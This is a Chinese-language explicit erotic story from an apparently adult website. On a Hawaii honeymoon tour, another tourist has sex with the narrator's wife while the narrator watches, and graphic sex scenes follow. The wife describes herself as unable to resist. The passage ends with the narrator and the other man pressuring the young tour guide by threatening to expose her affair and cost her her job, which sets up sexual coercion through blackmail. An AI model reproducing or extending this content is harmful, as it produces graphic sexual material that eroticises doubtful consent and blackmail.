未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

檀岛春潮

  檀岛春潮

  

  ——————————————————————————–

  (一)

  窗外一片蔚蓝,长空万里,水天一色,分不出连接天空和海洋的地平线,偶尔几朵白云从飞机腹下飘过,方使人觉得我们是处于高空疾飞中的机舱里。暖洋洋的阳光从鹅蛋形的小窗射进舱内,倍添悠閑气氛,我轻握着阿珍双手,愉快心境比外面的天气更开朗,閑逸情怀比外面的白云更轻松。

  这是一班飞往檀香山的航机,我和相恋了四年的阿珍刚刚新婚,此刻正参加一个夏威夷的旅行团去渡蜜月,共享人生中一段最美好、最温馨的快乐时光。阿珍第一次坐飞机出远门,加上新婚燕尔,心情难免又兴奋又紧张,把头枕在我肩膊上,长而弯曲的头发垂向我胸膛,我一手揽着她的纤腰,一手按着她的拳头,两人亲 得像对 公仔,旁人一眼就可看出我们是一对新婚小夫妻。

  阿珍上着一件米色紧身T恤,下穿一条齐膝牛仔短裙,简单自然的穿戴把此行渡假的性质表露无遗,但却将她饱满诱人的胸脯和雪白修长的大腿显得更引人注目,加上轻描淡划的素妆,清秀动人的五官,满身都渗透出骄人的青春气息。

  坐在我们前排的是一位单身青年,廿多岁吧,西服一度,看来是任职文书工作的白领阶层,文质彬彬,斯文有礼,在机场集合点名的时候知道他姓郎,由于这个姓比较少有,所以我对他有点印象,名字却记不清了,就叫他阿郎吧。

  反而是坐在左手边三连位的几个少年倒记不起姓氏,名字却叫人一听难忘:一个叫梦猫,一个叫豹猫,另一个叫夜猫,相信他们是三兄弟,二十岁上下,不知是否他们的父母喜欢猫儿,所以才分别给他们起了这幺一个特别的名字。年青人果然是年青人,一路上都停不下来,不是追来逐去,就是哼歌打闹,发 着使不完的沖劲与活力。

  这时坐在阿郎身边的一个女子站了起来,朝着他们说:「好了,好了,别再闹了,快回到自己座位去,要吃午餐了!」这三个大孩子才乖乖地坐下来。其实这女子才廿岁出头,比他们也大不了多少,说话之所以有权威,完全因为她是我们这旅行团的导游兼领队的缘故。

  她叫阿桃,白衬衣、蓝长裙,清汤挂面,不施脂粉,扑素而清纯,可能她迈出学校大门的时间不长吧,仍残留着女学生的影子,蓓蕾初放、豆蔻年华,青春魅力逼人而来,迷人的身材成熟而夸张,一对丰满的乳房把上衣撑得高耸而起,可对下的小蛮腰却幼得握掌可盈,两团肥胀的臀肉把裙子撑得又圆又鼓,混身曲线玲珑得像个『8』字,但凡哪一个男人见了,都被吸引得不期然地向她行注目礼,难怪阿郎一上机就马上招呼她坐到身旁的空位,一路上还不停密密细语。

  这时空中小姐推着餐车走来,把午餐分别送到每个人面前,我刚把餐巾铺到大腿面,就给后面的人拍了一下肩,不禁把头拧过去。坐在后排的是一对夫妇,男的不到三十岁,深灰短裤,啡色凉鞋里面没穿袜子,上身一件花斑斑的夏威夷恤,使人未到檀香山已领教到夏威夷的热带气氛。他伸出手来跟我握了握,笑面迎人地对我说:「我姓范,未请教。」我礼貌地回答:「啊,范生,我姓林,有何指教呢?」他不大好意思地说:「是这样的,我夫妇俩一向都吃素,刚上机时也特意对空姐说了,不知是她们忘了还是掉错,送来的还是牛扒餐,也不好再麻烦她们换过,几片牛扒你爱吃就拿去吧,免得浪费了。」

  我拿起餐盘说:「甭客气,反正我们亦未吃,不如我把蔬菜全给你们,换你们的牛肉吧!」边说边站起身把配菜、薯茸、面包等都拨到他的餐盘里。坐在他旁边的妻子对我感激地裂齿一笑:「谢谢,林生,你真好人!」我抬头望过去,嘴里「范太,别客气!唤我阿林好了……」还没说完,就愣愣地站在那里,再也说不下去,她实在太美了,美得令我晕了一晕,连捧着的餐盘也差点打翻。

  鹅蛋形的俏脸挂着醉人微笑,一头柔软的青丝长及香肩,可能里面没戴胸罩的缘故,纤薄的丝质开领上衣凸起两座尖尖的小山,隐约感觉到里面那两粒小樱桃是如何坚挺诱人,最取我命的是她一对媚眼,美目流盼、秋波含春,向着我就那幺一瞧,全身煞那就像触着她发出的电流,麻了一阵。人家说,『眼睛是灵魂之窗』,我的灵魂顿时被吸扯进她水葡萄般的小窗里。

  正迷醉在神游太虚的美妙感觉,阿范一句话把我拉回现实:「这是我内子阿杏,我在公司取了一星期大假,所以跟她一道找个地方轻松一下,出外靠朋友,这几天就靠你多多照应咯!」我连忙回应:「哪里!哪里!」才稍微定下神来。

  午餐后,大多数人都靠在座椅上闭目养神,阿珍突然皱起眉头对我说:「老公,可能我坐不惯飞机,此刻胸口有点作闷,还想吐耶。」我转过头去向阿杏求助:「范太,请问你有没有药油?我太太有点儿不舒服。」她从手袋里取出一枝白花油递过来,关心地问:「不大碍吧?有些人是会晕飞机浪的,歇一歇,适应后就会没事了。」我在阿珍的鼻孔边抹了一些药油,再叫她深吸几口气,靠在椅背休息一下。阿范走过来说:「光这样不行的,来来,我替她再抹一下。」我站起身,把座位让给他,看他示范正确方法。

  他倒出一些药油在掌心,扶着阿珍的脑袋,在左右脑门都按摩一阵,边搓圈边问她:「待擦到有些热热的感觉就行了,不用怕,一会就没事了。」阿杏见我站在一旁,指了指阿范的座位说:「先坐下吧,不然飞机遇到气流,你就会变成滚地葫芦哩!」我巴不得能坐到这美人儿的身边,更怕阿范擦完药油返回来,令我错失良机,连忙一屁股坐下,霸了位置再说。

  阿杏跟我说了些甚幺,我完全左耳入右耳出, 是痴痴地盯着她一对勾魂摄魄的杏眼,心里暖乎乎的,像着了迷一样, 盼望阿范把药油擦久一点,好让我可以亲近这美丽的女神能多久得多久。偶尔从两座椅中的缝隙望过去, 见阿范又倒了些药油在掌心,低声对阿珍说:「如果你心口觉得闷,也要在那儿擦上一点。」将手伸进阿珍的衣内,轻轻按在她胸口按摩,上下左右地揉动,细心体贴得连我也自叹不如,这个新朋友真是好人得没话可说。

  不知不觉间,飞机已经在檀香山机场着陆,我依依不舍地离开座位,跟着导游阿桃随大队办好入境手续,乘着旅游车住进酒店。也真巧,阿范一对就住在我们左边房,右边那间是阿郎,而对面那间就住进三只小猫猫。

  进得房里,一放下行李就搂着阿珍亲亲,她给我压在床上连气也喘不过来,双手撑着我胸膛说:「哎呀,死冤家,瞧你的急性!刚下飞机,精神还没恢复过来呢!先放好行李,洗过澡落楼下吃完晚饭回来后才慢慢玩不迟耶。」我握着她一对乳房搓弄了好一会才把她放过,趁她走进浴室时在她屁股打了一下:「吶,今晚可不准你睡啊!我要你陪我玩到天光。」

  晚饭后,我们和阿范夫妇坐在酒店大堂的酒吧厅閑聊,阿桃走过来说:「外面沙滩一会儿有土风舞表演,有兴趣的可以去看看喔。」她走后没多久,果然就传来优美的音乐声,望过去隐约见到有些夏威夷少女围着一堆营火在跳草裙舞,还有一些男人在耍火棒,阿珍被吸引住了,吵着要马上出去看,我对她说:「好好好,等阿杏从洗手间出来后,我们一齐去吧。」阿范见她性急的样子,便自动请缨:「阿林,我先带阿珍出去好了,一会阿杏出来,你再和她来找我们。」牵着跳跳蹦蹦的阿珍,就朝外面走去。

  酒店外就是着名的韦基基沙滩,晚上海风飒飒、星光点点,明月下,滩边椰影婆娑、波涛鳞光片片,浪漫得充满诗情画意,我与阿杏兜了好几个圈都不见阿范和阿珍的影子,怕阿杏走得累了,便在人堆里拉了张沙滩椅给她坐下看表演,我独个儿再去寻找他们的蹤影。

  好不容易在一艘滑浪风帆前面,见他们在沙滩上散步,刚想过去招唤两人会合阿杏时,才发现阿范竟然亲 地用手揽着阿珍的纤腰,一道想偷听他们说话的念头,顿时油然而生,我马上取消了现身的主意,偷偷藏身到风帆后静观其变。谁知就在这一刻,忽听到阿珍「哎唷!」一声,跟着就蹲到地下,痛苦地抚着脚髁,阿范低头扶着她关心地问:「怎幺了?」阿珍抬头对他说:「可能沙滩地太软,一不小心扭着了。」阿范一边把她抱起,一边说:「你别动,让我找个乾燥地方坐下,替你揉一揉。」抱着阿珍快步地朝沙滩边的一片椰林跑去。

  这片小椰林就在酒店背后,树下栽有一棵棵矮灌木与花丛,白天这里是一个小公园,晚上却成为情侣谈心的好地方,一对对男女躲在树丛中搂抱拥吻,甚至躺在地上翻云覆雨、爱抚偷情。我不动声色地悄悄跟在阿范身后,直到他把阿珍放到地上,我才在近距离的一丛小树后蹲下来。

  阿范也坐在地下,举起阿珍扭伤的那只脚,搁上自己大腿面,小心地替她脱掉鞋子,然后握着脚髁轻力地揉。他是那幺认真、那幺专心专意地照顾我妻子,我还以小人之心度君子之腹,以为他想背着我勾引我老婆,不禁为自己的多心而惭愧,在这个时候,我更加不好意思现身出现了,免得让他们知道我偷偷在后面跟蹤,显得太小家子气。

  刚这幺想,就见阿范将揉着脚髁的动作变成在小腿的爱抚,用手将阿珍嫩滑的肌肤,由脚板直到腿弯都扫抚得方寸不留,最奇怪的是阿珍这时开始发出低声的呻吟,软着身子慢慢往后躺下去,柳腰像蛇一样左右款摆,声音完全不像发自痛楚,简直是舒服、是动情,吭得像一只叫春的小猫。

  虽然这是在椰林影下,但凭着酒店窗户漏出来的灯光,还是可以把他们的一举一动看得清清楚楚。阿范受到阿珍充满诱惑的吭声感染,像得到鼓励一般,胆子越来越大了,不单用手抚摸,还用嘴亲吻,由脚底吻到大腿,又由大腿吻回脚板,连没扭伤的那一只脚亦不放过,沉重的呼吸声粗得连我也听得到。

  阿珍舒畅得脚板底缩得凹了进去,十只脚趾蹬得笔直,发出一下下颤抖,阿范此刻又将她一条小腿搁上自己肩膊,用舌头舔着脚板,用双手抚着小腿,痴迷得陶醉万分。我终于明白了,以前看过一本书,说女人身上都有一处敏感部位,有些在大腿,有些在耳珠,有些在颈项,有些在乳房,而阿珍的敏感部位原来在小腿与脚板,恰巧阿范又是一个恋足迷,难怪能够如此一拍即合,水到渠成。

  无意中让阿范发掘出我妻子的敏感部位,今后我就可以照办煮碗,跟阿范有样学样,专攻她的性感死穴,在床上把她治个死去活来了,虽然阿珍叉开的大腿令裙子撑开,露出里面白色的窄小三角内裤,春光尽 ,但反正没有越轨行为,于是沉着气打算再窥多一会,乐得偷多一点师。

  谁知这时,情况却突然急转直下,把我吓得呆若木鸡:阿范用快如闪电的速度,把肩上扛着的腿放下,将阿珍的裙子反上,拨开她两条大腿曲树左右,内裤也懒得浪费时间去脱,伸手揪着她幼如小绳的内裤末端,往旁一扯,搁到大阴唇与大腿的凹缝内,露出整个湿濡得反光的阴户,连徐跪到她张阔的大腿中央,再将自己的裤链一拉,掏出硬梆梆的鸡巴,沉一沉身,盘骨一挺,转眼间就全根插进阿珍的阴道,她亦随即把腿一夹,嚷出『呀……』充满无比满足的一声。

  在我目瞪口呆、不知所措的当儿,他已经把身子一弓一张地抽送起来,玩起男欢女爱的成人游戏,我此刻就算沖出阻止,也大势已去,无法补救了。我混身发抖,又愤怒、又妒忌地目睹着熟悉的阴户,在捱着陌生的阴茎在一下又一下的抽插,可恨的是心爱的新婚妻子,这时却如我一般地颤抖不停,两只又白又嫩的修长大腿,高高地竖在阿范腰后,蹬得既直又硬,他每插一下,双腿就抖一抖,嘴里一边呻吟,屁股还一边向上挺动着,有节奏地伴着阿范的进攻在迎送,就算我和她在床上干,也从来没试过这幺淫蕩、这幺骚浪!

  虽然黑暗的场合看不清她的阴户被抽插得如何淫水横流,但是发出的声音却可以告诉我,她确是正在爽得不可开交,传到我耳朵的是毫无间断的两副性器官磨擦而发出的『吱唧、吱唧』交响,听起来就好像几个人赤着脚在烂泥上奔走的声音,又像洗澡时香皂沫与皮肤揩磨的音韵,阿范还抽送不到四、五十下,阿珍已『噢……噢……噢……』地颤呼了几声,看来已经来了第一次高潮。

  我越来越气喘汗冒、心乱如麻,眼睁睁地看着妻子与另一个男人,在我面前上演着一出淫乱活春官,但又不知该怎样阻止。

  这时阿范又转了花招,他将阿珍挪成侧躺姿势,扛起她一条小腿又舔又吻,下身继续向着她阴户前后挺动,越插越深,另一只手则伸进她衣裳内,轮流握着一对乳房在大搓特搓、抓捏按揉,一会又抽手出外,用指头按在阴户上揉,我看得不太清楚,相信是揉着阴蒂吧,不然阿珍不会颤抖得如此激烈,叫喊得如此淫浪,听得我更加耳红脸热,居然连鸡巴也不知不觉勃硬了起来。

  我的心脏跳动频率已加快到了极限,整个人迷迷糊糊,想不到亲眼看着妻子在自己面前受到别人奸淫会有这样的反应,直至阿范越插越快,鼻子吭出低沉而畅快的闷音时才清醒过来。看着他用下体力抵阿珍阴户,屁股两团肉在发出规律性的抽搐,方知道这场成人游戏已到尾声,阿范正把一股又一股精液射进我妻子的阴道深处,代我履行做丈夫的职责。同一时间,阿珍满身像发冷般抖过不停,口里呻吟不绝,想来又得到了另一次高潮,再 一次身。

  我对突然发生的现实一下子接受不来,两腿发抖,神智不清,趁他们还在领受着高潮的畅快时,连忙抽身而起,连阿杏也顾不得寻回,想赶在他们返酒店前先回房去。走出电梯,刚好转入走廊时,不巧瞄见领队阿桃正偷偷侧身闪进阿郎房间,心想:这小子真有一套,不用一天时间就能把她泡上手,但这时的心情又哪有空档去管别人的閑事呢,自己的事也够头大耶!

  匆匆进了房后就坐在沙发上,扭开电视机假装在看,播甚幺节目根本就没留意, 是边盘算着如何拆解这场突如其来的变数,边等阿珍回来。

  

  

  ——————————————————————————–

  (二)

  彷佛过了很漫长的时间,才听到阿珍的门铃声,连忙开门让她进来, 见她腮红发乱,眉角含春,秀发上还黏着两片枯黄的小树叶,我见她满怀心事,便特意逗她说话:「甜心,阿范带你兜海风去了?看,吹得头发都凌乱了。」她支支吾吾地说了几句听不清的说话,用手理了理头发,从行李袋里取出一套内衣裤,匆匆径向浴室走去。

  我追在她后面发问:「怎幺一回来就忙着洗澡耶?临出去前不是已经洗过了吗?」她在浴室里回答:「啊,和阿范到海边捡贝壳时,不小心让浪花溅到了,又咸又湿,乾脆再洗一趟。」我心想:满身『咸湿』的人,倒是那个阿范啊!

  有心再戏弄她一下,便向里喊着说:「反正我亦还未洗澡,一齐来个鸳鸯浴也好。」她在里面发急了:「你别进来,让我洗完了再轮到你好不好?别那幺冤气了。」我三两下脱光衣服推门进浴室:「还害甚幺羞,夫妻两人,你身上那处我没见过?来来来,洗完澡后我俩上床温存,不到天亮不准睡。」

  阿珍刚脱清衣服,赤条条地站在浴缸里,一见我闯进来,连忙用双手掩着下体,脸上露出尴尬之色,我也跨进浴缸,先搂着她亲了一口,再握着乳房揉了几下,然后假装去爱抚她阴户,动手硬掰开她手掌,兜手往腿缝抄上去。

  当我把手掌再抽出来的时候,掌心上面已经沾满了一片又黏又滑的精浆,真难以想像阿范可以射出那幺多精液,一路上已经被内裤吸收掉不少,到了这个时候还能流出这幺多,可以想像阿珍的阴道里是被灌注得如何饱满。我把手掌伸到阿珍面前,大声地质问她:「你不会解释,这是我昨天射进去的东西,今天才流出来吧!」阿珍见丑事给我识穿,顿时羞涩得无地自容,满面的通红瞬即转青,「哇!……」的一声哭了出来。

  她伏在我肩上,一边痛哭,一边诉说:「本来我是和阿范一齐看草裙舞的,看了一会觉得不外如是,你们又还未出来,他便提意到海边听浪潮和拾贝壳,在沙滩走的时候,我的脚腕不小心扭伤了,他好心替我揉揉,谁知问题就出来了。当我的脚板给他揉捏、小腿给他抚摸的当儿,很奇怪,忽然像触电一般,满身不由自主地变得又酸又软,心脏越跳越快,身体火热一片,生出一种很特别、从来没试过的感觉……」说到这里,她停下来低声抽泣。

  我知道对下的事情她难以启齿,便替她接上:「他越揉,你就越酥麻,全身软得忍不住躺下来,阴户骚得发痒,淫水蜂涌而出,欲火焚身得恨不能马上有个男人压上身,把鸡巴塞进去抽插一番,才能解除心头痕痒,对不对?」她惊奇得连哭泣也停止了,瞪大双眼瞧着我,奇怪我怎幺可以这样料事如神。

  她接着用低得仅可听见的声音吞吞吐吐:「我顿时变得迷迷糊糊,毫无反抗之力地任由他摆布……到了清醒的时候,才知道……。老公,我对不起你……」我见生米已成熟饭,这时再责怪她亦于事无补,便安抚她说:「事情过去算了,吃一亏,长一智,我也是刚刚才晓得,你脚板与小腿是动情穴位,一经扫抚就会出现性兴奋状态。以后除了我之外,别再让人随便摸捏你的脚板了,知道吗?」

  她似懂非懂地点了点头,停止了哭泣。我叫她坐在浴缸里张开大腿,用洁体液替她将阴户仔仔细细清洗一番,再提着花 ,把所有缝缝隙隙都沖洗得一乾二净,连阴道都用手指捅进去抠挖一轮,几乎皮都洗脱一层了,才自己洗个澡,然后再抱起她返回睡床。

  她好像有心将功赎罪,我刚一躺下,她就自动自觉俯头在我小腹下面,含着半软不硬的阴茎在吞吐,出尽十八般武艺地又啜又舔,务求能在最短时间内将鸡巴弄硬,给机会我收复失地。我却心不在焉地躺在床上胡思乱想,脑里反覆出现着阿范如狼似虎的沖刺、老婆在他胯下欲仙欲死的高潮、事后她阴道流出的大量精液……,阴茎任她如何撩弄,一时间还是勃硬不起来。

  越想越滑稽,我新婚蜜月的第一炮,竟然要假手另一个男人来代劳!

  这时我忽发奇想:何不依照阿范的方法,去刺激一下她的敏感地带,看是否真的一触她的动情穴位,就像接通令她发浪的电流开关?当她的骚劲真的让我抖出来以后,再狠狠地干她一个落花流水不迟。

  起身将阿珍一把按低仰天躺在床上,叉开大腿跪在她头顶,垂低的阴茎恰好在她嘴边摇摇晃晃,然后提起她两只小腿抱在胸口,模仿着阿范刚才的动作,将脚板又吻又舔,手指同时像爬虫一样游走遍她小腿的每寸柔滑肌肤,她亦昂一昂头,重新将阴茎含回嘴里,十指还像搔痒一般在我的阴囊四周抚摸。

  不出所料,她的脚掌活像暗藏着一个驱发春情的总掣,就这幺一摸一捏,满身骚浪便挡也挡不住地被引导出来,尤其是当我用舌头在她脚板窝舔撩的时候,她难以自控地发出一下又一下的抽搐,小腹收压,屁股挪来挪去,身体扭动得像一条捞上水面的泥鳅,我往她阴户摸了一把,天啊!我从未见她流出过这幺多的淫水,不单止阴户湿得像只落汤鸡,连屁眼的凹窝都糊满了,煞时间,阴茎兴奋得像装上了弹簧一样,从她口中忽地蹦跳而起,硬挺挺地直指前方。

  我跪后一步,然后顺势再把她的双腿往后拉,直至她像个耍杂技的软骨美人般摺曲着身躯,肚皮触着鼻尖,背脊朝天,才把她两腿放下,左右张阔,膝盖搁在脑袋两旁。她淫水淋漓的阴户正对着我,两片又红又嫩的小阴唇撑挺得胀硬,除了末端那块鸡冠形状的小皮尚有皱纹外,里外嫩皮都绷平得光滑,阴蒂胀卜卜的圆头布满血丝,尖端凝吊着一串阴户流下来的淫水,亮晶晶地闪着反光,垂垂欲滴,阴道口像鱼嘴般一缩一张,暗示着欢迎随时候教。

  对着这充满诱惑的当前美景,我哪里再把持得下?早已将不久之前曾有另一条阴茎在这洞内抽插过的往事抛诸脑后,急急提起裹满青筋的鸡巴,就『噗吱』一声力插进去。阿珍两旁平伸的双手,随即抓着床单一握,恩承不胜地张嘴喊出『啊!』一声,阴道肌肉忽地缩紧,然后再放松,准备迎接我的勇猛抽送。

  尽管她摺曲着肚皮,连呼吸也有点困难,但还是努力地嚷出一句句「啊……啊……老公,尽量用力 我……噢……我爱你……你爱怎样干就怎样干……再大力点……噢……再狠劲点……啊……」的叫床声,鼓励着我向她阴户猛烈进攻,好像经过丈夫阴茎的一番磨擦,就可以将曾经被人奸淫过的耻辱擦掉一般。

  我双手扶着她两团圆鼓鼓的臀肉,腰肢疯狂地前后摆动,阴茎在眼前忽隐忽现:不是分毫不剩地深深插进洞内,就是被拖出到可见龟头下的凹沟,淫水经过记不清次数的磨擦,变成白色的糊状物,让进进退退的阴茎带到阴道口,活像出水螃蟹吐出的细小泡沫,浆满在阴道口四周,会阴中间凹入的皮肤一起一伏,跟阴户被抽插而发出的『吱唧、吱唧』声响一唱一和。

  我不知疲倦地重复着同一动作,享受着阴茎和阴道磨擦的快感,目睹着妻子由饥渴的需求,转变成贪婪的淫蕩,又由爽快的满足,直至震撼的高潮。她发狂地撕扯手中抓住的床单,口里「啊……好爽喔……嗯嗯……你快要 死我了…… 了 了……噢…… 出来了……」地大喊大叫,全身肌肉发出快意的抽搐,痉挛得张合不停的阴户烫热一片,阴道从阴茎四周的缝隙憋出丝丝淫水,还像吸泵般将龟头啜得酥麻不堪,令我几乎按捺不住而跟她双双进入高潮。

  我却意犹未尽,于是将抽送速度减慢,留力等她欲仙欲死的颤抖停下来后,再进行第二轮攻势。虽然见她高潮后全身酸软得像滩烂泥,但是依然这样摺曲着身躯,不但令她呼吸困难,而且这个姿势对她来说,也实在太辛苦了,便把她的屁股往前推,让她躺直身子,然后跪到她腿间,打算彷效阿范的招式再干一轮。

  同样将她身躯挪成侧躺,同样将她一条小腿扛上肩膊,她全身发软地随我摆弄,任我用舌头去舔舐她的脚板、去扫抚她又嫩又滑的小腿,不一会,刚被扑灭的欲火又再重燃。双腿由于被我掰成一字,令到阴户亦中门大开,她伸出左手穿过自己胯裆,抓住我的阴茎往她阴户扯,急燥得刻不容缓,右手将指头按在阴蒂上不停揉动,还演着屁股向我下体靠拢,用龟头在阴唇上擦揩,口里用颤抖的声音向我哀求:「噢……老公……小 痒得难受喔……啊……忍不住了……快用你的大鸡巴插进来吧……噢……再不干我可要熬死了……」。

  对着如此场面,除非是性无能,不然那可忍捺得来?既然龟头已被扯到阴道口,便顺势将腰往前一挺,不费吹灰之力,偌大一枝阴茎已在滑潺潺的淫水中全给她的阴道吞噬。我又深又浅、时快时慢地交替抽送着,干得她舒畅莫名,张口不断高喊低吟,娇体抖完又筛、筛完又颤,哆嗦打个没完没了,快活得简直死去活来。我一手继续扫抚她小腿,一手伸去她胸前轮流抓握抛蕩着的双乳,跟着又学阿范一样,捏着她的阴蒂来回搓转,再次弄得她高潮迭起。

  她越爽,我就越兴奋,阴茎越插越硬、龟头越来越麻,不知不觉就在她喊得声嘶力厥的叫床声中,忽然打了几个冷战,体内滚烫的精液像江河缺堤般汹涌而出,随着在阴道里抽搐着的阴茎,一股接一股地喷向她阴户深处,我闭目享受着美妙的快感,疾射得痛快淋漓,直至将她阴道灌输得满载而泻。

  我仰躺在床上,任她趴在我胸口,用小嘴一下一下地亲吻着每一寸肌肤, 是当她吻着我乳头时,才轻抚她秀发,亲 地问道:「舒服吗?」她『嗯』地点了点头,再笑着说:「舒服得要死呢!你呀,真会弄,处处都触着人家要命的部位,哪学来的?快说!」我笑而不答,心想:要是给你知道是从阿范那里偷偷学来的,真怕你以后心思思,再背着老公去找师傅回味一番呢!

  第二天是游览珍珠港,在『阿里桑那』号战舰残骸上的纪念馆里听阿桃讲解时,阿范都是一边陪着阿珍参观,一边逗她说话,当然并不知道我已经识破他俩的奸情。我已经劝告过阿珍,此后对阿范最好是敬而远之,可她还是毫无防犯之心地接受他的勾搭,与他言笑晏晏。女人就是这幺一种既可爱又可恨的动物,对与自己有过合体缘之男人,始终暗暗存有藕断丝连的感情。

  阿杏今天已经换过一套连衣短裙,发侧戴上一朵路旁摘来的大红花,令迷人笑意更添几分妩媚,趁她冷冷落落地随队参观时,我当然不会错失良机,乘虚而入地施出混身解数,处处照应、事事关怀,过跳板时张臂扶一扶,上旅游车时伸手掺一掺,加深她对我的良好印象,耍出追女孩子般的手段,想方设法在这几天里把她泡上手,好向阿范报回一箭之仇。

  慢慢地我俩变得熟络了,天南地北,无所不谈,阿范 顾缠着阿珍,对我向她妻子不断献殷勤好像视若无睹,反而乐得阿杏不在身边阻手阻脚,能腾出多点机会去向阿珍落药而满心欢喜。

  在唐人街酒楼吃午饭的时候,阿杏也瞧出一点瞄头了,低声问我:「怎幺我丈夫与你太太好像很熟的样子,他们以前认识的吗?」我不好道出来龙去脉,便随便找个借口:「啊,昨晚阿珍扭伤了脚髁,幸得你老公替她揉捏了一会,可能因此而少了隔膜吧!」阿杏晃然大悟:「怪不得刚才听我老公对她说,今晚还要过来让他推拿一下,不然恐怕会留有后患呢!」我心想:占了便宜还食髓知味想梅开二度,好大的胃口!哼!当我把你老婆泡上手时,一定会报仇般报!

  阿杏又问:「阿珍扭得不太严重吧?」我回一回神答道:「不大碍,咦?你老公真的懂得推拿吗?」她说:「是懂一点脚底穴位按摩,说开又说,有时他在床上抱着我的脚左摸右捏,弄得人怪痒的,他却乐不可支,还问我爽不爽,神经病!」我说:「你敏感部位不在那里而已,每个人反应都不同,阿珍就喜欢人家摸捏她的脚板,一给触着,就要我跟她上床哩!」阿杏瞪大眼睛:「这幺奇怪?我可喜欢人家亲我下面……」突然发现说溜了嘴,脸上顿时绯红一片。

  嘿,无意中套出她敏感部位所在,我懂得对症下药了。一边吃饭一边胡思乱想:阿杏对我越来越有好感,连床第之私也向我透露,証明完全没有了戒心,看来能够与她上床大战几个回合的路途,又走近了一步。

  这时阿桃向团友们宣布,明天的节目将兵分两路:一队是由当地导游带领,游览夏威夷的名山『钻石头』,另一队是坐快艇到『猫儿岛』参观天体营,领队是阿桃自己,不过参观天体营的要先报名,以便安排快艇。阿郎当然是跟着阿桃走,第一个举手报名,活跃贪玩的三只小猫也随后呼应,梦猫还打趣:「小猫猫当然是去猫儿岛啦!难道要猫猫爬山,那不变成山猫了?」然后装个鬼脸,怪声怪气地发出『喵~~』的一声。

  阿珍却说:「天体营有甚幺好看?我跟大队去爬钻石头。」我大失所望,慨叹白白失去一个欣赏光脱脱的洋妞、让眼睛吃尽冰琪琳的大好机会,回头问问阿杏,他们夫妇俩亦去爬钻石头。哎,我总不能丢下阿珍一人,独个儿去参观天体营耶, 好怀着入宝山而空手回的心情,扫兴地继续低头吃饭。

  阿桃又介绍午饭后的行程:「一会是自由活动,有兴趣购物的人可以跟当地导游去商店买手信,没兴趣的可以随旅游车回酒店休息,养足精神明天爬山。」阿珍与阿杏当然是选结伴逛商场,我却早已兴致栏栅,见阿范亦呵欠连连,便与他随阿桃的车子返酒店,打算一齐找个温泉浴洗洗,轻松一下,或者趁机会与他算算这笔绿帽帐。阿郎就离团去逛电脑专门店,猫猫三兄弟却一溜烟地钻进电子游戏中心,玩个不亦乐乎。

  

  

  ——————————————————————————–

  (三)

  回到酒店,阿范在大堂等电梯的时候给我扯住了:「阿范,反正我俩现在都变成孤家寡人,不如到咖啡厅坐一下,大伙聊聊。」他耸了耸肩:「反正回房也是睡觉,乐得有个伴谈天说地,叫杯啤酒喝喝也好。」

  闷在心底的千言万语,此刻到了面对面,却又一下子不知该从何处打开话题才好,就拿明天的行程来做开始吧!我对他说:「嘿嘿,你倒忍得住,有这幺个大好机会去瞧瞧赤裸的洋妞,你却舍得白白错过!」他呷了一口啤酒,无可奈何地叹道:「我当然想去耶,可是老婆……,哎,你知啦,女人就是这幺小心眼,你想瞧她的时候,她又故作神秘,当你去瞧别的女人时,她又说你怎不望她。」

  我说:「找个籍口看能不能把她们劝服?比如说,我就可以对老婆讲,她扭伤了脚髁,不适宜走山路,还是到天体营轻松一下好。」他听我说能劝服阿珍,开始心动了,脸上装作若无其事的样子,口中却说:「如果阿珍肯去,阿杏见有伴相随,相信亦肯改变初衷的。」我心想:别推到阿杏身上去了,虽然我老婆昨晚给你玩得淫态毕露,但始终是摸黑来干,难道大好机会你不欲观全豹吗?

  这时阿桃从身后走过,站在大堂等电梯,我用姆指向她点了点:「你看!阿桃这幺玲珑浮凸的身材,隔着一层衣服已经够人想入非非,假如脱光了赤溜溜的站在你面前,真怕你忍不住走火哩!不看白不看,我就想看个饱,还恨不得能上她呢!可惜被阿郎这小子捷足先登,第一天就把她泡上手了。」

  他马上好奇地问:「你又知她跟阿郎泡上了?别乱放假消息喔!」我誓神劈愿地说:「昨晚我亲眼见她偷偷溜进阿郎房间的,想来这个假期,她每晚都将在阿郎床上过夜!」阿范笑笑口道:「阿郎这小子也真有艳福,单身匹马来旅游,到头来却晚晚有美相陪。不过阿桃这骚货,晚上没个男人干她一趟,也真太浪费了,说真的,孤男寡女、漫漫长夜,总得寻点玩意儿消磨啊!」

  怕阿范一呆下去又再变卦,回心转意不欲改变行程,又见阿桃刚好回了房,赶忙打铁趁热,马上结帐,拉起阿范上楼去向阿桃报名。

  阿桃把我们两人迎进房内,招呼在椅子上坐下,然后拿出表格,在上面加上我们两对夫妇的姓名,对我们说:「行了,明晨吃完早餐后,在旅游车前集合,然后一同去码头,大概要三小时的航程才可到猫儿岛,节目完毕后,回程时再和爬钻石头的其他团友会合,一同去欣赏日落和吃海鲜。」

  当她俯身将表格放回手提箱的时候,肥胀的屁股把裙子后摆撑得圆鼓鼓地隆起,胸前一对饱满的乳房由于地心吸力的牵引,脂肪全挤向乳罩上端,从开叉领的V字缝隙可以瞄见,两团肉球差点被逼得从布片里掉了出来,而且将中间那条深深的乳沟挤得更显凹陷、更加充满神秘的诱惑感,房里顿时听到我和阿范情不自禁的低低两下『咕噜』吞口水声。

  阿桃直起身回过头来时,我对她说:「我们虽然是先报了名,但最后决定还要等今晚两位太太回来后才作实,到时我们该到这里找你呢,还是该到阿郎房里找你好呢?」她冷不防有此一问,顿时两腮通红,半晌才装作不解地回答:「神经病!我又不是他的女朋友,干嘛要去他房里找我?」我嘻皮笑脸道:「昨晚你不是在他房里过夜吗?我怎知今晚是轮到他来你这儿,还是你去他那儿?」

  她知道给我撞破了秘密,吓得连忙对我说:「阿林,求求你,这件事情,你可别向外扬出去呀!」我说:「行,不过我可以得到甚幺好处呢?其实怕啥,男欢女爱,人之常情矣。」她一下子手忙脚乱:「我能给你甚幺好处? 求你代我保守秘密而已。」阿范却落井下石:「我的口却堵不住耶,恐怕明日天还没黑下来,全团人都知道得一清二楚了,这还不打紧,要是不巧传到公司里去,影响旅行社形象,我怕你连这份工也难保喔!」

